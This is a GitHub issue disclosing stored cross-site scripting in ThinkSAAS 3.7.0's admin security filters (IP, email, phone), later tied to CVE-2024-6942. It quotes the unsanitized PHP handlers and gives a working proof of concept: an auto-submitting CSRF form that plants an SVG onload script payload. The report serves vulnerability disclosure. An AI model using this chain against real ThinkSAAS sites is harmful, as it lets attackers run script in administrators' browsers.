ThinkSAAS 3.7.0 has a storage XSS vulnerability #59

Hebing123 · 2024-07-12T07:27:05Z

Summary

ThinkSAAS version 3.7.0 contains multiple stored Cross-Site Scripting (XSS) vulnerabilities.
These vulnerabilities occur due to the lack of proper filtering of input variables in the app/system/action/anti.php file. The vulnerabilities are present in various functionalities such as IP filtering, Email filtering, and Phone number filtering in the admin panel's Security Center, all of which call anti.php.

Details

The application does not properly filter or sanitize user input for variables $ip, $email, and $phone, which are directly stored in the database and displayed in the admin panel. This can lead to stored XSS vulnerabilities. An attacker can exploit these vulnerabilities by injecting malicious JavaScript code into these fields, which will be executed when an admin views these pages.

IP Filtering

case "ipdo":
    $ip = tsTrim($_POST['ip']);
    if($ip){
        $isIp = $new['system']->findCount('anti_ip', array('ip' => $ip));
        if($isIp == 0){
            $new['system']->create('anti_ip', array('ip' => $ip, 'addtime' => date('Y-m-d H:i:s')));
            $arrIps = $new['system']->findAll('anti_ip');
            foreach($arrIps as $key => $item){
                $arrIp[] = $item['ip'];
            }
            fileWrite('system_anti_ip.php', 'data', $arrIp);
            $tsMySqlCache->set('system_anti_ip', $arrIp);
        }
        qiMsg('垃圾IP添加成功！');
    } else {
        qiMsg('垃圾IP不能为空！');
    }
    break;

Email Filtering

case "email_add":
    $email = tsTrim($_POST['email']);
    if($email){
        $new['system']->replace('anti_email', array('email' => $email), array('email' => $email, 'addtime' => date('Y-m-d H:i:s')));
        qiMsg('Email添加成功！');
    } else {
        qiMsg('Email不能为空！');
    }
    break;

Phone Number Filtering

case "phone_add":
    $phone = tsTrim($_POST['phone']);
    if($phone){
        $new['system']->replace('anti_phone', array('phone' => $phone), array('phone' => $phone, 'addtime' => date('Y-m-d H:i:s')));
        qiMsg('Phone添加成功！');

Proof of Concept (PoC)

An attacker can exploit these vulnerabilities using a Cross-Site Request Forgery (CSRF) attack. Below is an example of a PoC for the phone number field:

<html>
  <body>
    <form action="http://192.168.0.10:1057/index.php?app=system&ac=anti&ts=phone_add" method="POST">
      <input type="hidden" name="phone" value="&lt;svg onload=alert(8)&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

An attacker can place this PoC on their own website. When an administrator visits this malicious webpage, they unknowingly modify the $phone, $email, or $ip fields. The next time the administrator views these entries in the backend, the stored XSS payload will be executed.
Affected URLs:
http://your-ip/index.php?app=system&ac=anti&ts=ip
http://your-ip/index.php?app=system&ac=anti&ts=email
http://your-ip/index.php?app=system&ac=anti&ts=phone

The text was updated successfully, but these errors were encountered:

Hebing123 · 2024-07-24T02:43:59Z

CVE-2024-6942

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

ThinkSAAS 3.7.0 has a storage XSS vulnerability #59

ThinkSAAS 3.7.0 has a storage XSS vulnerability #59

Hebing123 commented Jul 12, 2024

Hebing123 commented Jul 24, 2024 •

edited

Loading

ThinkSAAS 3.7.0 has a storage XSS vulnerability #59

ThinkSAAS 3.7.0 has a storage XSS vulnerability #59

Comments

Hebing123 commented Jul 12, 2024

Summary

Details

IP Filtering

Email Filtering

Phone Number Filtering

Proof of Concept (PoC)

Hebing123 commented Jul 24, 2024 • edited Loading

Hebing123 commented Jul 24, 2024 •

edited

Loading